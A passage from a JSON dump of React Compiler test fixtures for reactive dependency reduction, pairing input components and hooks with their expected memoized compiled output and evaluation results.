    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.js",
    "content": "// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {getNull, identity} from 'shared-runtime';\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    if (getNull()) {\n      x.a = props.a.b;\n    } else {\n      x.b = props.a.b;\n    }\n  } else if (identity(cond)) {\n    x.c = props.a.b;\n  } else {\n    x.d = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{a: {b: 2}}, true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitch(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = props.a.b;\n      break;\n    default:\n      x.c = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitch,\n  params: [{a: {b: 2}}, 2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport { identity } from \"shared-runtime\";\n\nfunction useCondDepInSwitch(props, other) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== other || $[1] !== props.a.b) {\n    x = {};\n    bb0: switch (identity(other)) {\n      case 1: {\n        x.a = props.a.b;\n        break bb0;\n      }\n      case 2: {\n        x.b = props.a.b;\n        break bb0;\n      }\n      default: {\n        x.c = props.a.b;\n      }\n    }\n    $[0] = other;\n    $[1] = props.a.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitch,\n  params: [{ a: { b: 2 } }, 2],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.js",
    "content": "// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitch(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = props.a.b;\n      break;\n    default:\n      x.c = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitch,\n  params: [{a: {b: 2}}, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitchMissingCase(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = 42;\n      break;\n    default:\n      x.c = props.a.b;\n      break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingCase,\n  params: [{a: {b: 2}}, 2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport { identity } from \"shared-runtime\";\n\nfunction useCondDepInSwitchMissingCase(props, other) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== other || $[1] !== props) {\n    x = {};\n    bb0: switch (identity(other)) {\n      case 1: {\n        x.a = props.a.b;\n        break bb0;\n      }\n      case 2: {\n        x.b = 42;\n        break bb0;\n      }\n      default: {\n        x.c = props.a.b;\n      }\n    }\n    $[0] = other;\n    $[1] = props;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingCase,\n  params: [{ a: { b: 2 } }, 2],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":42}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.js",
    "content": "// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitchMissingCase(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = 42;\n      break;\n    default:\n      x.c = props.a.b;\n      break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingCase,\n  params: [{a: {b: 2}}, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in the default case.\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitchMissingDefault(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = props.a.b;\n      break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingDefault,\n  params: [{a: {b: 2}}, 3],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in the default case.\n\nimport { identity } from \"shared-runtime\";\n\nfunction useCondDepInSwitchMissingDefault(props, other) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== other || $[1] !== props) {\n    x = {};\n    bb0: switch (identity(other)) {\n      case 1: {\n        x.a = props.a.b;\n        break bb0;\n      }\n      case 2: {\n        x.b = props.a.b;\n      }\n    }\n    $[0] = other;\n    $[1] = props;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingDefault,\n  params: [{ a: { b: 2 } }, 3],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.js",
    "content": "// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in the default case.\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInSwitchMissingDefault(props, other) {\n  const x = {};\n  switch (identity(other)) {\n    case 1:\n      x.a = props.a.b;\n      break;\n    case 2:\n      x.b = props.a.b;\n      break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInSwitchMissingDefault,\n  params: [{a: {b: 2}}, 3],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// Some reactive scopes are created within a conditional. If a child scope\n// is within a conditional, its reactive dependencies should be propagated\n// as conditionals\n//\n// In this test:\n// ```javascript\n// scope @0 (deps=[???] decls=[x]) {\n//   const x = {};\n//   if (foo) {\n//     scope @1 (deps=[props.a.b] decls=[tmp]) {\n//       const tmp = bar(props.a.b);\n//     }\n//     x.a = tmp;\n//   }\n// }\n// return x;\n// ```\n\nimport {CONST_FALSE, identity} from 'shared-runtime';\n\nfunction useReactiveDepsInCondScope(props) {\n  let x = {};\n  if (CONST_FALSE) {\n    let tmp = identity(props.a.b);\n    x.a = tmp;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useReactiveDepsInCondScope,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Some reactive scopes are created within a conditional. If a child scope\n// is within a conditional, its reactive dependencies should be propagated\n// as conditionals\n//\n// In this test:\n// ```javascript\n// scope @0 (deps=[???] decls=[x]) {\n//   const x = {};\n//   if (foo) {\n//     scope @1 (deps=[props.a.b] decls=[tmp]) {\n//       const tmp = bar(props.a.b);\n//     }\n//     x.a = tmp;\n//   }\n// }\n// return x;\n// ```\n\nimport { CONST_FALSE, identity } from \"shared-runtime\";\n\nfunction useReactiveDepsInCondScope(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props) {\n    x = {};\n    if (CONST_FALSE) {\n      let t0;\n      if ($[2] !== props.a.b) {\n        t0 = identity(props.a.b);\n        $[2] = props.a.b;\n        $[3] = t0;\n      } else {\n        t0 = $[3];\n      }\n      const tmp = t0;\n      x.a = tmp;\n    }\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useReactiveDepsInCondScope,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.js",
    "content": "// Some reactive scopes are created within a conditional. If a child scope\n// is within a conditional, its reactive dependencies should be propagated\n// as conditionals\n//\n// In this test:\n// ```javascript\n// scope @0 (deps=[???] decls=[x]) {\n//   const x = {};\n//   if (foo) {\n//     scope @1 (deps=[props.a.b] decls=[tmp]) {\n//       const tmp = bar(props.a.b);\n//     }\n//     x.a = tmp;\n//   }\n// }\n// return x;\n// ```\n\nimport {CONST_FALSE, identity} from 'shared-runtime';\n\nfunction useReactiveDepsInCondScope(props) {\n  let x = {};\n  if (CONST_FALSE) {\n    let tmp = identity(props.a.b);\n    x.a = tmp;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useReactiveDepsInCondScope,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a?.b) {\n    x = [];\n    x.push(props.a?.b);\n    $[0] = props.a?.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: null }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.js",
    "content": "// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {throwErrorWithMessage, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Context variables are local variables that (1) have at least one reassignment\n * and (2) are captured into a function expression. These have a known mutable\n * range: from first declaration / assignment to the last direct or aliased,\n * mutable reference.\n *\n * This fixture validates that forget can take granular dependencies on context\n * variables when the reference to a context var happens *after* the end of its\n * mutable range.\n */\nfunction Component({cond, a}) {\n  let contextVar;\n  if (cond) {\n    contextVar = {val: a};\n  } else {\n    contextVar = {};\n    throwErrorWithMessage('');\n  }\n  const cb = {cb: () => contextVar.val * 4};\n\n  /**\n   * manually specify input to avoid adding a `PropertyLoad` from contextVar,\n   * which might affect hoistable-objects analysis.\n   */\n  return (\n    <ValidateMemoization\n      inputs={[cond ? a : undefined]}\n      output={cb}\n      onlyCheckCompiled={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: undefined}],\n  sequentialRenders: [\n    {cond: true, a: 2},\n    {cond: true, a: 2},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { throwErrorWithMessage, ValidateMemoization } from \"shared-runtime\";\n\n/**\n * Context variables are local variables that (1) have at least one reassignment\n * and (2) are captured into a function expression. These have a known mutable\n * range: from first declaration / assignment to the last direct or aliased,\n * mutable reference.\n *\n * This fixture validates that forget can take granular dependencies on context\n * variables when the reference to a context var happens *after* the end of its\n * mutable range.\n */\nfunction Component(t0) {\n  const $ = _c(10);\n  const { cond, a } = t0;\n  let contextVar;\n  if ($[0] !== a || $[1] !== cond) {\n    if (cond) {\n      contextVar = { val: a };\n    } else {\n      contextVar = {};\n      throwErrorWithMessage(\"\");\n    }\n    $[0] = a;\n    $[1] = cond;\n    $[2] = contextVar;\n  } else {\n    contextVar = $[2];\n  }\n  let t1;\n  if ($[3] !== contextVar) {\n    t1 = { cb: () => contextVar.val * 4 };\n    $[3] = contextVar;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const cb = t1;\n\n  const t2 = cond ? a : undefined;\n  let t3;\n  if ($[5] !== t2) {\n    t3 = [t2];\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  let t4;\n  if ($[7] !== cb || $[8] !== t3) {\n    t4 = (\n      <ValidateMemoization inputs={t3} output={cb} onlyCheckCompiled={true} />\n    );\n    $[7] = cb;\n    $[8] = t3;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, a: undefined }],\n  sequentialRenders: [\n    { cond: true, a: 2 },\n    { cond: true, a: 2 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[2],\"output\":{\"cb\":\"[[ function params=0 ]]\"}}</div>\n<div>{\"inputs\":[2],\"output\":{\"cb\":\"[[ function params=0 ]]\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.js",
    "content": "import {throwErrorWithMessage, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Context variables are local variables that (1) have at least one reassignment\n * and (2) are captured into a function expression. These have a known mutable\n * range: from first declaration / assignment to the last direct or aliased,\n * mutable reference.\n *\n * This fixture validates that forget can take granular dependencies on context\n * variables when the reference to a context var happens *after* the end of its\n * mutable range.\n */\nfunction Component({cond, a}) {\n  let contextVar;\n  if (cond) {\n    contextVar = {val: a};\n  } else {\n    contextVar = {};\n    throwErrorWithMessage('');\n  }\n  const cb = {cb: () => contextVar.val * 4};\n\n  /**\n   * manually specify input to avoid adding a `PropertyLoad` from contextVar,\n   * which might affect hoistable-objects analysis.\n   */\n  return (\n    <ValidateMemoization\n      inputs={[cond ? a : undefined]}\n      output={cb}\n      onlyCheckCompiled={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: undefined}],\n  sequentialRenders: [\n    {cond: true, a: 2},\n    {cond: true, a: 2},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\n/**\n * Evaluator failure:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) {}\n *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]\n *   Forget:\n *   (kind: ok) {}\n *   {}\n */\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo({screen}: {screen: null | undefined | {title_text: null}}) {\n  return screen?.title_text != null\n    ? '(not null)'\n    : identity({title: screen.title_text});\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{screen: null}],\n  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\n/**\n * Evaluator failure:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) {}\n *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]\n *   Forget:\n *   (kind: ok) {}\n *   {}\n */\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { screen } = t0;\n  let t1;\n  if ($[0] !== screen) {\n    t1 =\n      screen?.title_text != null\n        ? \"(not null)\"\n        : identity({ title: screen.title_text });\n    $[0] = screen;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ screen: null }],\n  sequentialRenders: [{ screen: { title_bar: undefined } }, { screen: null }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.ts",
    "content": "import {identity} from 'shared-runtime';\n\n/**\n * Evaluator failure:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) {}\n *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]\n *   Forget:\n *   (kind: ok) {}\n *   {}\n */\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo({screen}: {screen: null | undefined | {title_text: null}}) {\n  return screen?.title_text != null\n    ? '(not null)'\n    : identity({title: screen.title_text});\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{screen: null}],\n  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, setPropertyByKey} from 'shared-runtime';\n\nfunction useFoo({value, cond}) {\n  let x: any = makeObject_Primitives();\n  if (cond) {\n    setPropertyByKey(x, 'a', null);\n  } else {\n    setPropertyByKey(x, 'a', {b: 2});\n  }\n\n  /**\n   * y should take a dependency on `x`, not `x.a.b` here\n   */\n  const y = [];\n  if (!cond) {\n    y.push(x.a.b);\n  }\n\n  x = makeObject_Primitives();\n  setPropertyByKey(x, 'a', {b: value});\n\n  return [y, x.a.b];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 3, cond: true}],\n  sequentialRenders: [\n    {value: 3, cond: true},\n    {value: 3, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, setPropertyByKey } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(10);\n  const { value, cond } = t0;\n  let x;\n  if ($[0] !== cond) {\n    x = makeObject_Primitives();\n    if (cond) {\n      setPropertyByKey(x, \"a\", null);\n    } else {\n      setPropertyByKey(x, \"a\", { b: 2 });\n    }\n    $[0] = cond;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let y;\n  if ($[2] !== cond || $[3] !== x) {\n    y = [];\n    if (!cond) {\n      y.push(x.a.b);\n    }\n    $[2] = cond;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n  if ($[5] !== value) {\n    x = makeObject_Primitives();\n    setPropertyByKey(x, \"a\", { b: value });\n    $[5] = value;\n    $[6] = x;\n  } else {\n    x = $[6];\n  }\n  let t1;\n  if ($[7] !== x.a.b || $[8] !== y) {\n    t1 = [y, x.a.b];\n    $[7] = x.a.b;\n    $[8] = y;\n    $[9] = t1;\n  } else {\n    t1 = $[9];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ value: 3, cond: true }],\n  sequentialRenders: [\n    { value: 3, cond: true },\n    { value: 3, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],3]\n[[2],3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.tsx",
    "content": "import {makeObject_Primitives, setPropertyByKey} from 'shared-runtime';\n\nfunction useFoo({value, cond}) {\n  let x: any = makeObject_Primitives();\n  if (cond) {\n    setPropertyByKey(x, 'a', null);\n  } else {\n    setPropertyByKey(x, 'a', {b: 2});\n  }\n\n  /**\n   * y should take a dependency on `x`, not `x.a.b` here\n   */\n  const y = [];\n  if (!cond) {\n    y.push(x.a.b);\n  }\n\n  x = makeObject_Primitives();\n  setPropertyByKey(x, 'a', {b: value});\n\n  return [y, x.a.b];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 3, cond: true}],\n  sequentialRenders: [\n    {value: 3, cond: true},\n    {value: 3, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, shallowCopy, Stringify, useIdentity} from 'shared-runtime';\n\ntype HasA = {kind: 'hasA'; a: {value: number}};\ntype HasC = {kind: 'hasC'; c: {value: number}};\nfunction Foo({cond}: {cond: boolean}) {\n  let x: HasA | HasC = shallowCopy({kind: 'hasA', a: {value: 2}});\n  /**\n   * This read of x.a.value is outside of x's identifier mutable\n   * range + scope range. We mark this ssa instance (x_@0) as having\n   * a non-null object property `x.a`.\n   */\n  Math.max(x.a.value, 2);\n  if (cond) {\n    x = shallowCopy({kind: 'hasC', c: {value: 3}});\n  }\n\n  /**\n   * Since this x (x_@2 = phi(x_@0, x_@1)) is a different ssa instance,\n   * we cannot safely hoist a read of `x.a.value`\n   */\n  return <Stringify val={!cond && [(x as HasA).a.value + 2]} />;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false}],\n  sequentialRenders: [{cond: false}, {cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, shallowCopy, Stringify, useIdentity } from \"shared-runtime\";\n\ntype HasA = { kind: \"hasA\"; a: { value: number } };\ntype HasC = { kind: \"hasC\"; c: { value: number } };\nfunction Foo(t0) {\n  const $ = _c(7);\n  const { cond } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = shallowCopy({ kind: \"hasA\", a: { value: 2 } });\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let x = t1;\n\n  Math.max(x.a.value, 2);\n  if (cond) {\n    let t2;\n    if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t2 = shallowCopy({ kind: \"hasC\", c: { value: 3 } });\n      $[1] = t2;\n    } else {\n      t2 = $[1];\n    }\n    x = t2;\n  }\n  let t2;\n  if ($[2] !== cond || $[3] !== x) {\n    t2 = !cond && [(x as HasA).a.value + 2];\n    $[2] = cond;\n    $[3] = x;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== t2) {\n    t3 = <Stringify val={t2} />;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond: false }],\n  sequentialRenders: [{ cond: false }, { cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val\":[4]}</div>\n<div>{\"val\":false}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.tsx",
    "content": "import {identity, shallowCopy, Stringify, useIdentity} from 'shared-runtime';\n\ntype HasA = {kind: 'hasA'; a: {value: number}};\ntype HasC = {kind: 'hasC'; c: {value: number}};\nfunction Foo({cond}: {cond: boolean}) {\n  let x: HasA | HasC = shallowCopy({kind: 'hasA', a: {value: 2}});\n  /**\n   * This read of x.a.value is outside of x's identifier mutable\n   * range + scope range. We mark this ssa instance (x_@0) as having\n   * a non-null object property `x.a`.\n   */\n  Math.max(x.a.value, 2);\n  if (cond) {\n    x = shallowCopy({kind: 'hasC', c: {value: 3}});\n  }\n\n  /**\n   * Since this x (x_@2 = phi(x_@0, x_@1)) is a different ssa instance,\n   * we cannot safely hoist a read of `x.a.value`\n   */\n  return <Stringify val={!cond && [(x as HasA).a.value + 2]} />;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false}],\n  sequentialRenders: [{cond: false}, {cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return a.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(3);\n  const { a, shouldReadA } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== shouldReadA) {\n    t1 = (\n      <Stringify\n        fn={() => {\n          if (shouldReadA) {\n            return a.b.c;\n          }\n          return null;\n        }}\n        shouldInvokeFns={true}\n      />\n    );\n    $[0] = a;\n    $[1] = shouldReadA;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: null, shouldReadA: true }],\n  sequentialRenders: [\n    { a: null, shouldReadA: true },\n    { a: null, shouldReadA: false },\n    { a: { b: { c: 4 } }, shouldReadA: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":null},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return a.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n"
  },
  {
